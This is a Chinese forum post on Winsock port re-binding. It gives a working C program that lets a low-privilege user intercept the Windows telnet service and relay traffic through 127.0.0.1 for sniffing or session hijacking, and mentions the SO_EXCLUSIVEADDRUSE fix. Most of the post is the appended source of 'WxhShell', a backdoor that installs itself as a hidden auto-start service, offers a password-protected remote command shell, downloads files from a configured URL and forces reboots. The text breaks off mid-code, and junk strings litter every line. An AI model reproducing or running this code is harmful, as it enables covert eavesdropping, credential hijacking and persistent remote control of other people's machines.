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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zb_apjg[4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QR0(,e$Dl  
-KIVnV=&m  
  saddr.sin_family = AF_INET; 7/D9n9F  
I7q?V1f u4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,rH)}C<Q+  
+]S;U&vQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w}U5dM`  
0'q(XB`i=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0'\FrG  
Z+``/Q]>+  
  这意味着什么?意味着可以进行如下的攻击: pzt Zb  
_V7^sk!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qh)!|B  
G"U>fwFuK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ghq'k:K,  
ltr;pc*)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /ie3H,2  
<_sT]?N #  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t5jhpPVf  
F'5d\v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f<> YYeY  
*v:,rh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V&,<,iNN  
3U9+l0mBa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [BZ(p  
ZTBFV/{  
  #include 1&@wb'MBs.  
  #include $p6Xa;j$9  
  #include vZ nO  
  #include    Q 5Ghki  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &W!d}, ;  
  int main() L$u&~"z-  
  { R8r[;u\iV  
  WORD wVersionRequested; bhm~Ii  
  DWORD ret; ?;KJ (@Va  
  WSADATA wsaData; Etr8lm E  
  BOOL val; h&k ^l,  
  SOCKADDR_IN saddr; #`#aSqGmc  
  SOCKADDR_IN scaddr; RkH oT^  
  int err; P!6e  
  SOCKET s; R:IS4AaS  
  SOCKET sc; &v9PT!R~  
  int caddsize; 9y|&T  
  HANDLE mt; !K^kKP*l  
  DWORD tid;   i8[Y{a *  
  wVersionRequested = MAKEWORD( 2, 2 ); ZhbY, wJ,  
  err = WSAStartup( wVersionRequested, &wsaData ); hq8/`u YF  
  if ( err != 0 ) { H'h4@S  
  printf("error!WSAStartup failed!\n"); QWW7I.9r  
  return -1; 6 9I.*[  
  } |e-+xX|;  
  saddr.sin_family = AF_INET; v"('_!  
   zm3MOH^a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f_P+qm  
-IsdU7}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WWs[]zr  
  saddr.sin_port = htons(23); dZiWVa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dR, NC-*  
  { }`/n2  
  printf("error!socket failed!\n"); X$h~d8@r  
  return -1; -^xKG'uth  
  } JX@6Sg<  
  val = TRUE; ;Y XrG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *DI:MBJY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j!_^5d#d  
  { FQ~ead36C  
  printf("error!setsockopt failed!\n"); rB&j"p}Q  
  return -1; [#rdfN'?U  
  } u-M$45vct  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *rFbehfH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i~s9Ot  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E?h2e~ ,]  
ABe^]HlH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YM.IRj2/1  
  { @P5@ &G  
  ret=GetLastError(); 3) Awj++  
  printf("error!bind failed!\n"); +-YuBVHL  
  return -1; M j%|'dZz  
  } u{nWjqrM*5  
  listen(s,2); s=Q*|  
  while(1) HYnqx>L ~  
  { >A( C9_\  
  caddsize = sizeof(scaddr); i\4"FO?v  
  //接受连接请求 R9-JjG2v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : It W|  
  if(sc!=INVALID_SOCKET) D!T4k]^  
  { Qbpl$L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y[]+C8"O  
  if(mt==NULL) E0A|+P '?  
  { W3/Stt$D  
  printf("Thread Creat Failed!\n"); >!F,y3"5S  
  break; j3-6WUO  
  } >MY.Fr#.m  
  } J9c3d~YW  
  CloseHandle(mt); +Qvgpx>  
  } |ylTy B  
  closesocket(s); #TwE??ms  
  WSACleanup(); Y4!q 1]TGX  
  return 0; =\7p0cq&*  
  }   XJ/ kB8  
  DWORD WINAPI ClientThread(LPVOID lpParam) zP'pfBgbJW  
  { lBZ*G  
  SOCKET ss = (SOCKET)lpParam; yzR=:0J  
  SOCKET sc; RAQ;O  
  unsigned char buf[4096]; Cwf$`?|W  
  SOCKADDR_IN saddr; v+bjC  
  long num; at]Q4  
  DWORD val; wggHUr(g,  
  DWORD ret; cB=u;$k@*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n$Fm~iPo,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qf(e'e  
  saddr.sin_family = AF_INET; ^Es)?>eah  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c} ET#2,  
  saddr.sin_port = htons(23); P]{.e UB@c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <qY>d,+E'  
  { '[8jm=Q#'  
  printf("error!socket failed!\n"); o xu9v/  
  return -1; JlGD.!`  
  } 0-f-  
  val = 100; 6mpUk.M"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >&Q. .`q  
  { tKGsrgoV  
  ret = GetLastError(); d'fpaLV  
  return -1; Vho0f<`E  
  } (kOv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tah%jRfT&  
  { }0),b ?*e  
  ret = GetLastError(); )p9n|C  
  return -1; P;pg+L.I  
  } GFkte  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^BTNx2VHf  
  { vUeel%  
  printf("error!socket connect failed!\n"); Y @&nW  
  closesocket(sc); --)[>6)I  
  closesocket(ss); (OJ9@_fgG[  
  return -1; (5;xs  
  } /*HSAjv  
  while(1) kcUt!PL  
  { =ab}.dWC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7}.(EZ0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \Da$bJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0k<%l6Bq  
  num = recv(ss,buf,4096,0); z# B) b5  
  if(num>0) 4q8%!\A+  
  send(sc,buf,num,0); 3$;v# P$%N  
  else if(num==0) vdzC2T  
  break; QNEaj\   
  num = recv(sc,buf,4096,0); O v6=|]cW  
  if(num>0) 5UyK1e))  
  send(ss,buf,num,0); SoIMftX  
  else if(num==0) N6'Y N10  
  break; 9z}kkYk  
  } !/j|\_O  
  closesocket(ss); O0RQ}~$'m  
  closesocket(sc); ep|u_|sB/r  
  return 0 ; 6j#5Ag:  
  } e(A&VIp  
'9XwUQx  
`#F>?g$2  
========================================================== >=Veu; A  
YN[D^;}  
下边附上一个代码,,WXhSHELL rt z(Jt{<  
c7_b^7h1  
========================================================== G>"[nXmcu  
2=RDAipf59  
#include "stdafx.h" m`aUz}Y>c  
NunT2JP.  
#include <stdio.h> u 05O[>w  
#include <string.h> q~C6+  
#include <windows.h> b-XBs7OAx  
#include <winsock2.h> s!Vtw p9  
#include <winsvc.h> 1>1!oml1E  
#include <urlmon.h> WxdYvmp6z[  
V qf}(3K0  
#pragma comment (lib, "Ws2_32.lib") ^+&}:9Ml  
#pragma comment (lib, "urlmon.lib") -v] 0@jNe  
kJ >B)  
#define MAX_USER   100 // 最大客户端连接数 xgVt0=q  
#define BUF_SOCK   200 // sock buffer +dRTHz  
#define KEY_BUFF   255 // 输入 buffer N !:&$z-  
{S c1!2q  
#define REBOOT     0   // 重启 &Jz%L^  
#define SHUTDOWN   1   // 关机 )erPp@  
;2^=#7I?  
#define DEF_PORT   5000 // 监听端口 h fNBWN  
$: -Ptm@  
#define REG_LEN     16   // 注册表键长度 q#1um @m3  
#define SVC_LEN     80   // NT服务名长度 &o(? }W  
SU^/qF%8  
// 从dll定义API >r3Wo%F'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7)YU ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^?,/_3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;J<kG@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KMv|;yXYj4  
y}|zH  
// wxhshell配置信息 6Dch+*4*@  
struct WSCFG { {=kA8U  
  int ws_port;         // 监听端口 lVt gg?  
  char ws_passstr[REG_LEN]; // 口令 na~ r}7 7o  
  int ws_autoins;       // 安装标记, 1=yes 0=no p 7sYgz  
  char ws_regname[REG_LEN]; // 注册表键名 Q8O38uZ  
  char ws_svcname[REG_LEN]; // 服务名 /bVI'fT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WWY9U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ='f>p+*c%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G$q=WM!%#s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v{I:Wxe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5D'8 l@7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,]+6kf5  
Z#0z#M`  
}; joa$Y6  
StE4n0V  
// default Wxhshell configuration tFRWxy[5  
struct WSCFG wscfg={DEF_PORT, -7lJ  
    "xuhuanlingzhe", UOq$88sr  
    1, &iuc4"'  
    "Wxhshell", U*zjEY:A  
    "Wxhshell", !j- 7,  
            "WxhShell Service", 4ed( DSN  
    "Wrsky Windows CmdShell Service", HYtkSsXLN  
    "Please Input Your Password: ", z\v\T|C  
  1, EF}Z+7A  
  "http://www.wrsky.com/wxhshell.exe", Yx,  
  "Wxhshell.exe" J^u8d?>r  
    }; @]~\H-8  
{&3n{XrF(  
// 消息定义模块 jn]{|QZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $g*|h G/{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m'Wz0b^BO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #[2]B8NZ  
char *msg_ws_ext="\n\rExit."; ]zu" x9-`  
char *msg_ws_end="\n\rQuit."; BK,= (;d3  
char *msg_ws_boot="\n\rReboot..."; bd9]'  
char *msg_ws_poff="\n\rShutdown..."; WJ=^r@Sf  
char *msg_ws_down="\n\rSave to "; bA1uh]oB  
afH`<!  
char *msg_ws_err="\n\rErr!"; ppS,9e-  
char *msg_ws_ok="\n\rOK!"; R5qC;_0cV  
53#7Yy  
char ExeFile[MAX_PATH]; faThXq8B  
int nUser = 0; 'a*tee ^RS  
HANDLE handles[MAX_USER]; :v=Yo  
int OsIsNt; /9;)zI  
x# 0(CcKK  
SERVICE_STATUS       serviceStatus; <$_B J2Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R9~%ORI#;  
5|";L&`  
// 函数声明 YX,y7Uhn  
int Install(void); }h>QkV,{2  
int Uninstall(void); GRS[r@W[1  
int DownloadFile(char *sURL, SOCKET wsh); h`,dg%J*B  
int Boot(int flag); xn}sh[<:P  
void HideProc(void); 9PIm/10pP^  
int GetOsVer(void); s7#w5fe  
int Wxhshell(SOCKET wsl); '*|Wi}0R  
void TalkWithClient(void *cs); \XD&0inv  
int CmdShell(SOCKET sock); j-ZKEA{:1  
int StartFromService(void); D^$Nn*i;U  
int StartWxhshell(LPSTR lpCmdLine); 4#!NVI3t  
w-pdpbHV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YD 1u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7FMO' 'x  
$d'GCzYvZ  
// 数据结构和表定义 lZ'-?xo  
SERVICE_TABLE_ENTRY DispatchTable[] = " P c"{w  
{ s8Xort&   
{wscfg.ws_svcname, NTServiceMain}, q ;1]M[&  
{NULL, NULL} 76(-!Z@=J  
}; 1$]4g/":o  
JL=MlZ  
// 自我安装 B0T[[%~3M  
int Install(void) ;Z\jX[H  
{ uW },I6g  
  char svExeFile[MAX_PATH]; Xkk m~sM6  
  HKEY key; p(fYpD  
  strcpy(svExeFile,ExeFile); "9:1>Gr{G  
X!KjRP\\  
// 如果是win9x系统,修改注册表设为自启动 <E[X-S%&  
if(!OsIsNt) { 3iMh)YH5b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .gh3"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TL lR"L5  
  RegCloseKey(key); n$i}r\ so  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -$yNJ5F`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %{Ez0XwGCn  
  RegCloseKey(key); 7+QD=j-  
  return 0; uU=O0?'zq  
    }  BR;f!  
  } 8p p^ w  
} `Hld#+R  
else { q^ lx03   
u|t<f`ze  
// 如果是NT以上系统,安装为系统服务 -*t4(wT|j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {p@uH<)  
if (schSCManager!=0) &>y[5#qOl  
{ H*BzwbM?  
  SC_HANDLE schService = CreateService "$#X[ .  
  ( m08:EX P  
  schSCManager, s_xWvx8?4.  
  wscfg.ws_svcname, [9| 8p$  
  wscfg.ws_svcdisp, b.V\E Ok  
  SERVICE_ALL_ACCESS, 9un* 1%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bAS('R;4  
  SERVICE_AUTO_START, uH 1%diL^  
  SERVICE_ERROR_NORMAL, Vf<VKP[9K  
  svExeFile, QwPL y O  
  NULL, f6@fi`U ,  
  NULL, X=$WsfN.h  
  NULL, }+";W)R  
  NULL, (T+fO}0  
  NULL _' KJ:3e  
  ); M5DQ{d<r  
  if (schService!=0) =8FV&|fP  
  { m:U.ao6  
  CloseServiceHandle(schService); +iKs)s_~  
  CloseServiceHandle(schSCManager); L7oLV?k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sz4G,c  
  strcat(svExeFile,wscfg.ws_svcname); T;!7GW4E ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1haNca_6,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WrWJ!   
  RegCloseKey(key); ~gU.z6us  
  return 0; ]r++YIg!j  
    } /Xa_Xg7  
  } 1 ?X(q  
  CloseServiceHandle(schSCManager); 7u8HcHl  
} /'vCO |?L  
} N0A PX4j  
m2&"}bI{  
return 1; sbnNk(XINQ  
} Bc1[^{`bq^  
' *hy!f]  
// 自我卸载 `R:p-"'b  
int Uninstall(void) N$#518  
{ Ut"~I)S{LT  
  HKEY key; z@@w?>*  
0V{a{>+  
if(!OsIsNt) { 1e=<df  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $gKMVgD"  
  RegDeleteValue(key,wscfg.ws_regname); 7kDX_,i  
  RegCloseKey(key); Q.SLiI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gT 8^  
  RegDeleteValue(key,wscfg.ws_regname); :W]IJ mI\  
  RegCloseKey(key); 2 de[ yz  
  return 0; 0XwDk$l<  
  } ^(,qkq'u D  
} Ec !fx\  
} N 6CWEIJ  
else { gcLwQ-  
FFE IsB"9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V?KACYd@O  
if (schSCManager!=0) ziFg+i%s  
{ STv(kQs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {>S4 #^@}  
  if (schService!=0) aWdUuid  
  { Pv#KmSA9  
  if(DeleteService(schService)!=0) { 6!@0VI&P  
  CloseServiceHandle(schService); cnbo +U  
  CloseServiceHandle(schSCManager); xOhRTxic  
  return 0; A5+q^t}  
  } .Xi2G@D  
  CloseServiceHandle(schService); 0xv\D0  
  } {d8^@UL  
  CloseServiceHandle(schSCManager); V_jiOT!  
} S3;lKr  
} rYbCOazr  
[@g~  
return 1; f;R>Pr;rD  
} `nKJR'QC  
K@HLIuz4t  
// 从指定url下载文件 8*vFdoE_oO  
int DownloadFile(char *sURL, SOCKET wsh) :|=- (z  
{ g2A"1w<-AH  
  HRESULT hr; n7@j}Q(&?  
char seps[]= "/"; aJa.U^1{  
char *token; |"_)zQ  
char *file; N_0pO<<cs  
char myURL[MAX_PATH]; lelMt=  
char myFILE[MAX_PATH]; J, r Xx:  
ZH!;z-R  
strcpy(myURL,sURL); ("b*? : B  
  token=strtok(myURL,seps); 2av*o~|J*:  
  while(token!=NULL) {b[tA, >  
  { [Q|M/|mnR1  
    file=token; ve6x/ PD  
  token=strtok(NULL,seps); zqY)dk  
  } p x0Sy|  
pG~'shD~Dn  
GetCurrentDirectory(MAX_PATH,myFILE); (V8?,G>  
strcat(myFILE, "\\"); 9?$RO[vo  
strcat(myFILE, file); X'jr|s^s  
  send(wsh,myFILE,strlen(myFILE),0); Jb9F=s+  
send(wsh,"...",3,0); 1c / X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sLZ>v  
  if(hr==S_OK) ~oo'ky*H!  
return 0; dok)Je  
else =D}4X1l  
return 1; =E!x~S;N  
>J>>\Y(p  
} loBtd%wY  
I.-v?1>,  
// 系统电源模块 [1Uz_HY["3  
int Boot(int flag) _!%M%  
{ Hk~k@Wft  
  HANDLE hToken; cFDxjX?~  
  TOKEN_PRIVILEGES tkp; o_(0  
oE6|Zw  
  if(OsIsNt) { _Ds@lVY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /7x\;&bc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fh^ox"3c  
    tkp.PrivilegeCount = 1; o(zTNk5d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P2t_T'R}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =},{8fZ4  
if(flag==REBOOT) { F;-90w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @UV{:]f~e  
  return 0; 4~*Y];!Q  
} %Lyz_2q A  
else { x~z_,':  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Uri|^t  
  return 0; OT;cfkf7  
} 8""mp]o9  
  } wA631kr  
  else { Hit Ac8  
if(flag==REBOOT) { t$5jx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eG4>d^`c  
  return 0; ~#q;bS  
} `R0Y+#$8h  
else { V~[:*WOX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^SAq^3^P!  
  return 0; 5uttv:@=  
} YmgCl!r@  
} '#<> "|  
ED/FlL{  
return 1; 8 URj1 W  
} 79wLT \&  
!UcOl0"6  
// win9x进程隐藏模块 vK:QX$b  
void HideProc(void) #%8 w  
{ nj  
Cg3ODfe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n,sY\=vB  
  if ( hKernel != NULL ) }[v~&  
  { `|?]CkP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8YKQIt K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wcn[gn<  
    FreeLibrary(hKernel); 1`QsW&9=b  
  } akCIa'>t  
|xeE3,8  
return; Sr"/-  
} C_Gzv'C"L  
6c &Y  
// 获取操作系统版本 HY*\ k#  
int GetOsVer(void) 02pplDFsM  
{ Ji A'BEJN  
  OSVERSIONINFO winfo; Onw24&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8(Fu  
  GetVersionEx(&winfo); c&m9)r~zP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eO[c lB  
  return 1; ;RHNRVP  
  else ;{Jb6'K1h  
  return 0; >|nt2  
} !=[>r'+3  
xqv[? ?  
// 客户端句柄模块 ?(D}5`Nfu  
int Wxhshell(SOCKET wsl) agT7=hX].  
{ { i;6vRr  
  SOCKET wsh; TGpSulg7  
  struct sockaddr_in client; Y`^o7'Z2^P  
  DWORD myID; uA%Ts*aN  
$"fzBM?5  
  while(nUser<MAX_USER) C0(sAF@  
{ U|?,N0%Z1  
  int nSize=sizeof(client); }NwN2xTB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *~;8N|4<  
  if(wsh==INVALID_SOCKET) return 1; HH zEQV Lh  
)E-E0Hl>7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >UWStzH<  
if(handles[nUser]==0) u>o<tw%Y  
  closesocket(wsh); 4swKjN &  
else f[}|rf  
  nUser++; ]3+``vL  
  } o(Kcs-W2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aTClw<6}  
h>W@U9  
  return 0; ?gG,t4D  
} Sn ^Aud  
!tBeuemN%  
// 关闭 socket U`1l8'W}:#  
void CloseIt(SOCKET wsh) JY@X2'>v/  
{ "kr,x3 =  
closesocket(wsh); :kN5?t=  
nUser--; ?Pnx ~m{%*  
ExitThread(0); ^IgS  
} 7E(%9W6P  
^#w{/C/n  
// 客户端请求句柄 Snx<]|  
void TalkWithClient(void *cs) )E~_rDTl  
{ G_+Ph^  
S+pP!YX  
  SOCKET wsh=(SOCKET)cs; MWhwMj!:m  
  char pwd[SVC_LEN]; EzpwGNfz}  
  char cmd[KEY_BUFF]; v:A:37#I  
char chr[1]; 2&x7W*  
int i,j; |*E"G5WZM  
I%i:)6Un-y  
  while (nUser < MAX_USER) { {_7Hz,2U  
~},~c:fF?  
if(wscfg.ws_passstr) { xE1rxPuq)d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VF= Z`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n}:t<  
  //ZeroMemory(pwd,KEY_BUFF); NQR^%<hU  
      i=0; B@-"1m~la?  
  while(i<SVC_LEN) { m#MlH=-  
fkG##!  
  // 设置超时 pU hc3L  
  fd_set FdRead; ]v GgJ<  
  struct timeval TimeOut; 0d`5Gy_D%  
  FD_ZERO(&FdRead); 1I \tu  
  FD_SET(wsh,&FdRead); `*d{PJTv  
  TimeOut.tv_sec=8; Rn;VP:HM  
  TimeOut.tv_usec=0; (Com,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $`v+4]   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0T0/fg(o  
0 {,h.:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uOFnCy 4  
  pwd=chr[0]; )2]a8JVf  
  if(chr[0]==0xd || chr[0]==0xa) { O8[k_0@  
  pwd=0; 5A,=vE  
  break; m r2S!  
  } {NV:|M!  
  i++; /sV?JV[t  
    } &M= 3{[  
,02w@we5  
  // 如果是非法用户,关闭 socket cyHU\!Z*Zq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Gu][_.L  
} jiq2x\\!  
-)6;0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sxk*$jO[]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wB 2}uk7  
W6M jQ%f  
while(1) { @ge LW!  
:~i+tD  
  ZeroMemory(cmd,KEY_BUFF); L:i+}F;M)s  
fzyzuS$  
      // 自动支持客户端 telnet标准   9 R  
  j=0; R|-j]Ne  
  while(j<KEY_BUFF) { ^6#-yDZC@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EZ `}*Yrd  
  cmd[j]=chr[0]; 1xIFvXru  
  if(chr[0]==0xa || chr[0]==0xd) { Pfk{=y  
  cmd[j]=0; wcl!S{  
  break; _6L H"o 3  
  } {Y^c*Iqn  
  j++; 1EuK, :x  
    } 4ODX 5If  
9':/Sab:7v  
  // 下载文件 _)q4I(s*  
  if(strstr(cmd,"http://")) { uD[^K1Ag]^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -aT=f9u  
  if(DownloadFile(cmd,wsh)) Y!aLf[x]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9j2\y=<&  
  else G_0)oC@Jl:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > R#9\/s  
  } | 4 `.#4  
  else { x~nQm]@`h  
YY\Rua/nG  
    switch(cmd[0]) { RRNH0-D1l  
  K]9tc)  
  // 帮助 $M-NR||k  
  case '?': { T*8_FR<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z+Xc1W^  
    break; r.9 $y/5  
  } 7pd$?=__I  
  // 安装 "`[$&:~  
  case 'i': { ~%/'0}F  
    if(Install()) `k!UjO72  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); unpfA#&!"  
    else -;f+; M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #c :9 V2  
    break; NPP3 (3C  
    } (5>{?dR)|  
  // 卸载 7f[8ED[4  
  case 'r': { 6OMb`A@/2  
    if(Uninstall()) {Qm6?H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ipfm'aQ  
    else =[APMig,n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q;IhLBl'  
    break; 9*f2b.Aj  
    } 6NU8HJp  
  // 显示 wxhshell 所在路径 $+iu\MuX  
  case 'p': { Q.*'H_Y  
    char svExeFile[MAX_PATH]; P"2Q&M_ /  
    strcpy(svExeFile,"\n\r"); .0?ss0~  
      strcat(svExeFile,ExeFile); |3aS17yL>  
        send(wsh,svExeFile,strlen(svExeFile),0); -aC!0O y`  
    break; ^Kb9@lz/  
    } #*[,woNk  
  // 重启 C:WtCAm(  
  case 'b': { A>H*`{}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {_": / A  
    if(Boot(REBOOT)) buc,M@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h 3eGq:!9  
    else { t%0r"bTi  
    closesocket(wsh); H f!9`R[  
    ExitThread(0); $:xF)E  
    } InAU\! ew  
    break; V+P8P7y37B  
    } Z3LQl(  
  // 关机 n$nne6|O  
  case 'd': { &n}8Uw0440  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "cIGNTLFA  
